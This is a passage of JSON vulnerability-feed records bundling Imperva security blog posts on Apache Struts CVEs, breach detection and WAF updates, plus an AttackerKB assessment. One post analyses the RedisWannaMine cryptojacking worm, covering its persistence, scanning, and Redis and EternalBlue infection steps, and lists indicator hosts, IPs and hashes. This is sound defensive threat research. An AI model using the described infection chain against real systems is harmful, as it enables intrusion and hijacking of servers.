"impactScore": 5.9}, "published": "2017-11-13T16:30:38", "type": "impervablog", "title": "How Reputation Intelligence Improves Application Security", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-11-13T16:30:38", "href": "https://www.imperva.com/blog/2017/11/how-reputation-intelligence-improves-application-security/", "id": "IMPERVABLOG:81785CACF2722C5387530DCFDE54E6E4", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2022-09-12T15:28:21", "description": "## Key signs to look for in today\u2019s complex data threat landscape\n\n## Introduction\n\nThe most vulnerable data repositories are the ones deep in your organization\u2019s infrastructure. Everyone assumes they are safe, but as with your home, organizations must invest in security at entry points. Otherwise, the result is unsecured valuables lying around out in the open or easy to find in obvious closets or drawers.\n\nWhat happens to security when someone known to the homeowners, like a plumber, gardener, or friend, has access to the house? It becomes much easier for other people to exploit the homeowner and access the property.\n\nThe same principle applies to organizations. They deploy most of their security strategy on the perimeter and leave their \u201cdeep\u201d data repositories vulnerable to data breaches. Bad actors have the opportunity to exploit organization insiders or third-party software components. A [2022 Forrester report](<https://www.imperva.com/resources/resource-library/white-papers/forrester-insider-threats-drive-data-protection-improvements-full-report/>) revealed that 58 percent of sensitive data incidents are caused by insiders, either from non-malicious mistakes or deliberately malicious actions. The report also revealed that 82 percent of organizations do not have an insider risk management strategy or policy. It doesn\u2019t, however, have to be this way.\n\nYour data repositories contain the sensitive personal data of your business, employees, and customers, and, much like the valuables around your home, you should have a security strategy to safeguard them effectively. Staying with the home security metaphor, you need to consider turning the containers of your valuables into secure vessels, minimizing the number of people who could secure access, and gaining the ability to inventory losses when they happen. In data security, this means encryption, minimal entitlements, access control, and advanced analytics. Forrester data suggests, however, that not all organizations understand how to create an effective data security strategy, and their biggest mistake is not effectively addressing the insider threat.\n\nTwo critical business trends contribute to the ease with which bad actors can sneak undetected into your organization's infrastructure and breach sensitive data, and we address them in this post. Next, we\u2019ll explain general data breach attack flows and profile typical attackers to help you gain a better understanding of who and what to look for. Finally, we\u2019ll make some recommendations on how you can integrate a modern data security fabric with existing tools to create an effective, sustainable data security strategy.\n\nThe cost of an intruder who has access to the \u201chouse\u201d on an ongoing basis cannot be overstated. Every day, bad actors can exploit your vulnerable data repositories and your structured, semi-structured, and unstructured data to exfiltrate the sensitive information for which you are responsible. This can easily play a role in the data exfiltration process by acting as temporary storage or a proxy to transport the data from a secure environment to an unprotected environment and then to the outside. This is the essence of a data breach - a successful attempt to open the closet or \u201ccrack\u201d the safe and expose the sensitive personal data contained in it.\n\n## Two business trends make organizations vulnerable\n\n 1. **The need to integrate with external technology providers.** Some CISOs and their team members struggle to secure a business services environment, which becomes additionally challenging as business operations agility grows.\n 2. **The evolution of cloud computing.** As organizations transition to the cloud, they are using third-party cloud-managed computing environments and third-party SaaS services to accelerate the migration process.\n\n## Data breaches are far more common today because of third parties\n\nRelying on third party code and services providers means that an organization's information technology infrastructure is exposed to suppliers that do not have a robust data security strategy aligned with the organization\u2019s own. The risk becomes much greater as every third-party technology provider's security vulnerabilities, in effect, become yours.\n\nThe first step for CISOs and their security teams is to secure all sensitive data assets and gain complete visibility into all data repositories that are part of the organization's architecture. This includes legacy repositories deep in the architecture and new ones, in on-premises and cloud-managed environments. Even data repositories that you don\u2019t know exist yet. When you have that level of visibility, then you can evaluate vulnerabilities, figure out who should have privileged access to the repositories and why, then optimize your detection and response process to deal with potential breaches.\n\n## General data breach attack flows\n\nMost data breaches have common characteristics, no matter the details of the breach. First, the attacker needs to penetrate the organization's IT (Information Technology) or OT (Operational Technology) environments, look around and find the asset of interest that it can take.\n\n### Examples of Early Signs of a Data Breach\n\n**Signs in critical stages:**\n\n**Reconnaissance:**\n\n * System tables scan\n * Massive database scan\n * Multiple login attempts\n\n**Exploitation:**\n\n * Open command shell\n * Machine takeover\n\n**Data Access:**\n\n * Service account misuse\n * Retrieving high numbers of records\n * Accessing business-critical data\n\n**General Signs:**\n\n * Work/activity in unusual hours\n * Use of dynamic SQL\n\n## Data breach attacker types\n\n### Hit & Run\n\nThis \u201cOpportunist\u201d identifies an opportunity; whether it is a vulnerability, a publicly open database, or something else. The bad actor decides to take what they can and leave. This kind of attacker will not try to search for other databases or penetrate the organization\u2019s network, or try to execute exotic exploits, etc. They will just take what they can, and then sell it to the highest bidder.\n\n### The Curious\n\nThis attacker usually sets out with a purpose, but may decide to look deeper. They may look around a little bit, but not too much. They are still focused on their original purpose, malware deployment, data exfiltration, etc.\n\n### The Resident\n\nThe most dangerous type, as in the \u201cEquifax\u201d breach, the Resident will gain access to the organization\u2019s network and will stay for months, sometimes years. They will use keyloggers, sniffers, and other methods to steal credentials and compromise databases, using \u201c[Low and Slow](<https://www.imperva.com/blog/the-account-takeover-threat-a-by-the-numbers-breakdown/>)\u201d and other methods to stay undetected.\n\n## Common data breach attack examples\n\nThe attacks that cause the greatest damage are \u2018The resident\u2019 attacks. Let's consider some examples to understand how these attacks are forged.\n\n### The resident attack\n\nInfosec disasters are typically the result of multiple failures. Invariably, post-breach analysis reveals several security weaknesses that allowed attackers to steal terabytes of information from supposedly secure systems.\n\nThere are several well-known, high-impact incident reports, such as Equifax, Anthem Inc., and the U.S. Office of Personnel Management that describe pre-breach progressions falling under this category.\n\n### Typical attack flow\n\n 1. The initial hack is done via a web-facing application, one example can be the Equifax customer complaint portal and its CVE-2017-5638 vulnerability. **ThreatPost:** _\u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638.\u201d_\n 2. Attackers exploit weaknesses in the company's security posture, notably the lack of proper segmentation.\n 3. In almost all major breaches, a lack of continuous security patching of servers and databases contributes to the attack\u2019s success.\n 4. Unpatched servers and databases provide the resident attacker room to operate freely within the company's network for a protracted amount of time.\n 5. In almost all these attacks, the intruders were in the company\u2019s environment for months, customizing their attack tools over and over again until the sensitive data was successfully compromised.\n\n### Ransomware attack\n\nThis type of attack is designed to disable critical systems or prevent sensitive data access by privileged users until a specified amount of money is paid. Ransomware attacks have become more and more sophisticated. They typically involve:\n\n1\\. Penetrating the organization's IT environment\n\n * Malware installed on an endpoint operating system via a phishing attack.\n * Account Takeover (ATO) attacks use stolen credentials to penetrate the organization\u2019s environment.\n\n2\\. Analyzing network resources to allocate databases that hold personal, financial, or business-critical information.\n\n3\\. Making the original data stored unusable by:\n\n * Encrypting the data.\n * Extract data either to a hidden file in the network or outside.\n * Modify data values stored.\n\n### Ransomware attack detection example\n\nIn this attack, the data is moved from the original database to a readme file.\n\nDB breach flow:\n\n 1. Attacker query for databases list.\n 2. Attacker selects prod_db.\n 3. Data is being stolen from prod_db using the 'select'.\n 4. Prod_db is being deleted using 'drop'.\n\n## How should organizations protect their home environment\n\nImperva research shows that much like using a safe at home, when organizations secure their data repositories with a data-centric security fabric, and when a hostile penetration occurs, they dramatically reduce data exfiltration risk by turning all open repositories into well protected alarmed enabled safes. This shortens the path from breach to detection to response.\n\nAs business innovation and the services that support it are digitally transformed, the perimeter boundaries have blurred. The \u201cwalls\u201d that protect data repositories have cracks that allow attackers to put their hands on sensitive data, effectively ending the days of protecting assets within the network perimeter. The security of an organization is only as strong as the weakest link in the security chain. In many cases, better architecture and cross-organization security practices would do the trick, but those practices are not easy to implement and control, nor do they account for the risks presented by third-party technology providers. You must secure all the data repositories they manage, not just the applications and networks that surround them.\n\nThe cause of most breaches is the lack of an in-depth data security strategy. As we discussed before, you can reduce the attack surface by securing your data repositories, but you must gain visibility into them. Next, eliminate excessive privileges from key users and deploy strong authentication mechanisms. Never forget that securing data repositories is a never-ending process, you must always work toward optimizing your security architecture, policies, and practices, both for your assets and employees. Continuously performing data discovery and classification to locate sensitive personal data is a great way to maintain an enterprise-grade data security strategy and eliminate bad practices inside on-premises and cloud-managed environments. Together with implementing [Imperva\u2019s Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>) (WAF) and [Imperva Data Security Fabric](<https://www.imperva.com/products/data-security-fabric/>), it is possible to protect against most potential data breach scenarios.\n\n## On-Demand Webinar: Detecting Attacks on Your Data. How can we do it right?\n\n[Watch now.](<https://community.imperva.com/events/event-description?CalendarEventKey=afb10612-12cf-4e6d-9fe6-b3a4486a966f&CommunityKey=39c6092a-d67a-4bc2-8134-bfbb25fc43af&Home=%2fevents>)\n\nSecurity Analytics are an essential part of the toolkit to protect against data breaches. Are you using Imperva Data Risk Analytics (DRA)? Imperva Data Risk Analytics tools have been purpose-built to recognize threats such as suspicious data access or signs of potentially compromised accounts. But did you know Imperva recently added new features that can recognize the attack signatures of active exploits so you can be instantly notified of an attack in progress?\n\nIn this webinar, Product Manager Oren Graiver, will describe how you can use [Imperva Data Risk Analytics](<https://www.imperva.com/solutions/user-behavior-analytics/>) to augment Imperva vulnerability assessment and data activity monitoring and transform your security posture to proactively prevent data compromise incidents. Topics covered will include:\n\n * Where breaches are found\n * Understanding data breach detection\n * Early signs of a breach\n * Kill chain and data compromise\n * Real life example of a breach DRA can detect - Ransomware\n * What\u2019s on the roadmap?\n\n[Watch the webinar today](<https://community.imperva.com/events/event-description?CalendarEventKey=afb10612-12cf-4e6d-9fe6-b3a4486a966f&CommunityKey=39c6092a-d67a-4bc2-8134-bfbb25fc43af&Home=%2fevents>).\n\nThe post [Two New Trends Make Early Breach Detection and Prevention a Security Imperative](<https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-08-31T13:47:34", "type": "impervablog", "title": "Two New Trends Make Early Breach Detection and Prevention a Security Imperative", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-08-31T13:47:34", "id": "IMPERVABLOG:CD196CDD794CCCE3719A9D38DA5BE417", "href": "https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-03-08T20:51:51", "description": "Recently cryptojacking attacks have been spreading like wildfire. At Imperva we have witnessed it firsthand and even concluded that these attacks [hold roughly 90% of all remote code execution attacks in web applications](<https://www.imperva.com/blog/2018/02/new-research-crypto-mining-drives-almost-90-remote-code-execution-attacks/>).\n\nHaving said that, all of the attacks we have seen so far, were somewhat limited in their complexity and capability. The attacks contained malicious code that downloaded a cryptominer executable file and ran it with a basic evasion technique or none at all.\n\nThis week we saw a new generation of cryptojacking attacks aimed at _both_ database servers and application servers. We dubbed one of these attacks _RedisWannaMine._\n\n_RedisWannaMine_ is more complex in terms of evasion techniques and capabilities. It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers\u2019 infection rate and fatten their wallets.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/03/Screen-Shot-2018-03-08-at-7.43.49-AM.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/Screen-Shot-2018-03-08-at-7.43.49-AM.png>)\n\nIn a nutshell, **cryptojacking attackers have upped their game and they are getting crazier by the minute!**\n\n## Cryptojacking 2.0/ RedisWannaMine\n\nImperva deploys a network of sensors to gather security intelligence. These sensors are deployed in publicly accessible databases and web servers. This week we recorded an interesting remote code execution (RCE) attack through our web application sensors. When we record an RCE attack that tries to download an external resource, we try to probe the remote host to gain further security information. This was the case this week when our sensors recorded the following attack vector that tried to exploit [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>):\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic1.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic1.png>)\n\nWhen we probed the remote server we found a list of suspicious files:\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/Picture2-300x202.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/Picture2.png>)\n\nThe list includes known malicious files, like _minerd, _but also some unknown suspicious files like _transfer.sh._\n\nWhen we submitted _transfer.sh_ hash to Virus Total, we found it is fairly new, the first submission in 2018-03-05 and detected only by 10 engines:\n\n![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic3-300x227.png)\n\nThis shell script file is a downloader that is similar in some ways to older cryptojacking downloaders we know:\n\n * It downloads a crypto miner malware from an external location\n * It gains persistency in the machine through new entries in _crontab_\n * It gains remote access to the machine through a new ssh key entry in _/root/.ssh/authorized_keys _and new entries in the system\u2019s _iptables_\n\nHowever, this downloader is unlike any downloader we\u2019ve seen before. In the following sections, we will list the new capabilities it offers.\n\n## Self-sufficient\n\nThe script installs a lot of packages using Linux standard package managers like _apt _and _yum_. This is probably to make sure it is self-sufficient and does not need to depend on local libraries in the victim\u2019s machine. As a hint to things to follow we saw it installs packages like _git, python, redis-tools, wget, gcc_ and _make_.\n\n## [![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic4-300x111.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic4.png>)\n\n## Github integration\n\nThe script downloads a publicly available tool, named _masscan_, from a Github repository, then compiles and installs it.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic5-300x17.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic5.png>)\n\nThe project page <https://github.com/robertdavidgraham/masscan> describes it as \u201cTCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.\u201d\n\nAlso, it offers simple usage examples:\n\n## [![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic6-300x73.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic6.png>)\n\n## Redis scan and infection\n\nThe script then launches another process named \u201c_redisscan.sh_\u201d. The new process uses the _masscan_ tool mentioned above to discover and infect publicly available Redis servers. It does so by creating a large list of IPs, **internal** and **external** and scanning port 6379 which is the default listening port of Redis.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic7.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic7.png>)\n\nIf one of the IPs in the list is publicly available, the script launches the \u201c_redisrun.sh_\u201d process to infect it with the same crypto miner malware (\u201c_transfer.sh_\u201d). The infection is done using _redis-cli_ command line tool, that the downloader previously installed, that runs the \u201c_runcmd_\u201d payload.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic8-300x37.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic8.png>)\n\n\u201c_runcmd_\u201d is a 10-line Redis command script that creates new entries in the Redis server crontab directory and thus infects the server and gains persistency in case someone notices the malware and deletes it.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic9-300x42.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic9.png>)\n\nNotice that the attacker uses line feeds, \u201c_\\n_\u201d, at the beginning and at the end of each key value. If you run these commands in a Redis server, a file with the following content will be created:\n\n## [![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic10-300x49.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic10.png>)\n\n## SMB scan and infection\n\nAfter the script completed the Redis scan, it launches another scan process named \u201c_ebscan.sh_\u201d. This time the new process uses the _masscan_ tool to discover and infect publicly available Windows servers with the vulnerable SMB version. It does so by creating a large list of IPs, **internal** and **external**, and scanning port 445 which is the default listening port of SMB.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.1.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.1.png>)\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.2-300x92.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.2.png>)\n\nIn case you\u2019ve been living under a rock, the SMB vulnerability this script is scanning for, was used by the NSA to create the infamous \u201c_Eternal Blue_\u201d exploit. This exploit was later on adapted to carry out \u201c_WannaCry_\u201d, one the biggest cyberattacks in the world.\n\nWhen the script finds a vulnerable server, it launches the \u201c_ebrun.sh_\u201d process to infect it.\n\n\u201c_ebrun.sh_\u201d runs a Python implementation of the aforementioned \u201c_Eternal Blue_\u201d exploit and drops the file \u201c_x64.bin\u201d _in the vulnerable machine.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic12-300x60.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic12.png>)\n\nWe used the _strings_ command to print all the strings of printable characters in the file and found a code that creates a malicious VBScript file named \u201c_poc.vbs_\u201d and runs it.\n\n\u201c_poc.vbs_\u201d downloads an executable from an external location, saves it in the vulnerable server as \u201c_admissioninit.exe_\u201d and runs it. Needless to say, \u201c_admissioninit.exe\u201d _is a well-known crypto miner malware.\n\n[![WannaCryptoMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits](https://www.imperva.com/blog/wp-content/uploads/2018/03/pic13-300x87.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic13.png>)\n\n## What should I do?\n\n * Protect your web applications and databases. The initial attack vector was introduced through a web application vulnerability. A properly patched application or an application protected by a WAF should be safe.\n * Make sure you don\u2019t expose your Redis servers to the world. This can be achieved with a simple firewall rule.\n * Make sure you don\u2019t run machines with the vulnerable SMB version in your organization. You can use [this](<http://omerez.com/eternalblues/>) awesome tool to do check it\n\n## IOC\n\n**Hosts:**\n\nhttp://ipfs.io/\n\nhttp://admission.fri3nds.in/\n\n**IPs:**\n\n147.135.130.181\n\n217.182.195.23\n\n**Files:**\n\n615f70c80567aab97827f1a0690987061e105f004fbc6ed8db8ebee0cca59113 transfer.sh\n\n260ef4f1bb0e26915a898745be873373f083227a4f996731f9a3885397a49e79 clay\n\n2d89b48ed09e68b1a228e08fd66508d349303f7dc5a0c26aa5144f69c65ce2f2 minerd\n\neb010a63650f4aa58f58a66c3082bec115b2fec5635fa856838a43add059869d admission.exe\n\nf8428b0ceb5eaf1e496d79824a9c2b6c685fdeb2ddc36b036748ea71b15a5d79 xmr-32.exe\n\ne1c9ffc6677c7c2a6edec5d47bdff5e572d8fdf57675c41ff9e63a8c20bb18db xmr-64.exe\n\ncdadd649c42d28264277dd8edd5b6de23c8070fbf7b5a5ecdcbe03d99613efba ebrun.sh\n\nb2f5abb708c3481ad69aa459e3107c892bceafd26122129c84338cac92bf4797 ebscan.sh\n\n99a4ded26895422707f7c92eca9c9d64212cc033c50010fb027fe32ab55386d9 eternalblue_exploit7.py\n\n34022a65a3eb93b109ed4c6e1233c6404197818a70f51ab654e2c7e474ee2539 eternalblue_exploit8.py\n\n9040274f28d8dbe9e2372fec6482964fa2de8a790c818a3238d0af5fda6c3dbf order.py\n\nc7ed3da4e8d29474909bb0c57e788799fbd3ff96a00e2a0d8f752ed494b9773f rangeip.py\n\ne74e8b14e00de1cdf14d885e3b8a85d33e33e0b239e202243fc4edeeb84a1325 redisrun.sh\n\n794a891cae3374bf28c78eeb3ca39bd59f6ed927f28477561cc0fd11909f34fb redisscan.sh\n\n1bca0088f84d9642002e8d403efb77f75596a9d9c50f171e587a66cc804fa971 runcmd\n\ne3d2088d0cf68efe57babddd7a6973ca5187a127f5e8932436a781391de0320c x64.bin", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-03-08T18:45:38", "type": "impervablog", "title": "RedisWannaMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2018-03-08T18:45:38", "id": "IMPERVABLOG:38007E943B20A50B729BC17911999C11", "href": "https://www.imperva.com/blog/2018/03/rediswannamine-new-redis-nsa-powered-cryptojacking-attack/", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-04-26T20:41:18", "description": "We previously reported that the overall number of new web application vulnerabilities in 2017 showed a 212% increase from 2016\u2019s 6,615 to a whopping 14,082. This spike was due, in part, to high-profile vulnerabilities like Heartbleed, Shellshock, POODLE, Apache Struts 2 and more recently, Meltdown and Spectra.\n\nThere is, however, good news in the form of a new tool tasked with pushing mitigations for high-profile vulnerabilities like these to the SecureSphere [Web Application Firewall (WAF)](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) within a matter of hours.\n\n## Ongoing Vulnerability Protection\n\nTasking your security team with analyzing each and every vulnerability, deciding their relevance and applying the necessary mitigations is near impossible, which is why [virtual patching of your WAF](<https://www.imperva.com/blog/2017/03/deploy-instant-virtual-patching-on-securesphere-waf-with-highly-accurate-web-vulnerability-data/>) is so important. Not updating your WAF regularly is like wearing your old 80s jeans thinking you\u2019re still cool\u2026you\u2019re not. Imperva regularly releases mitigations for new vulnerabilities.\n\n> In today\u2019s tech landscape, where constantly up-leveled cyberattacks are one of the most prominent threats to corporate assets, timing is everything.\n\nOnce a [vulnerability is published](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) it\u2019s only a matter of time until attackers will exploit it. It only takes a few hours for high-quality code snippets to be published and by then, every script-kiddy has had the opportunity to run them against whomever they choose. In the case of a [2017 Apache Struts vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), for example, an official exploit was made public one day after the vulnerability was announced. Clearly, updating mitigations only once every few weeks is not enough.\n\n## The Answer: An Emergency Feed\n\nImperva has incorporated an emergency feed into our ThreatRadar subscription service as an extension of our WAF, which allows Imperva security researchers to push mitigations for high-profile vulnerabilities to the WAF in just a matter of hours. Our goal is to push mitigations via the emergency feed in no less than 24 hours from the time of the vulnerability\u2019s publication, so whether a new vulnerability hits the landscape in the middle of the night or your entire security team is on vacation, your WAF estate is protected.\n\n## So, how do we do it?\n\nTo apply mitigation through the emergency feed, a vulnerability must be remotely exploited, operational without authentication and have the potential to be highly impactful. In these cases, Imperva researchers analyze the vulnerability, understand its scope, and create the appropriate mitigation. The mitigation is then run through a wide set of Incapsula and SecureSphere customers, on real-world data, to observe its false positive rate and search for the vulnerabilities\u2019 variations. Only when our researchers are convinced that the new mitigation is stable and reliable will they push it into the emergency feed.\n\nSimply put, in just a few hours, all of Imperva\u2019s customers on Incapsula and SecureSphere WAFs are fully protected. The best part? There\u2019s no action required by your in-house security team. As soon as they\u2019re back in the office they have access to a report summarizing the nature of the vulnerability and the mitigation applied.\n\n## Included with ThreatRadar Subscription\n\nIf you\u2019re a SecureSphere customer with a [ThreatRadar](<https://www.imperva.com/products/threatradar-intelligence/>) subscription, the emergency feed is included and takes only a few clicks to enable. Incapsula customers receive this service out of the box \u2013 no registration required.\n\nFor SecureSphere customers with ThreatRadar subscription:\n\n 1. Check the **Emergency Feed** box on the customer portal to register.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-1.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-1.png>)\n\n 1. In the Imperva SecureSphere WAF dashboard, enable the **Emergency Feed services** under the ThreatRadar tab.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-2.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-2.png>)\n\nThat\u2019s it. The emergency feed is enabled and will begin receiving new mitigations immediately. With each content update, our researchers will remove the most recent mitigations from the emergency feed and permanently add them to your SecureSphere WAF, so your system is updated. You will be notified of updates via email.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-04-26T19:01:59", "type": "impervablog", "title": "Keeping Your WAF Relevant: Emergency Feed Pushes New Mitigations in Just Hours", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-04-26T19:01:59", "href": "https://www.imperva.com/blog/2018/04/keeping-waf-relevant-emergency-feed-pushes-new-mitigations-just-hours/", "id": "IMPERVABLOG:5E50E2263AEAFE98B90E01B16AA73334", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "attackerkb": [{"lastseen": "2023-06-23T17:28:07", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:30pm UTC reported:\n\nUnlike [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>), which was exploitable out of the box, since it targeted Struts\u2019 Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.\n\n**I don\u2019t know how common this particular scenario is.** Please read the [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-059>) for more information. However, what I do know is that this CVE falls somewhere after [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>) and [CVE-2018-11776](<https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776>) on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.\n\nSo, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", 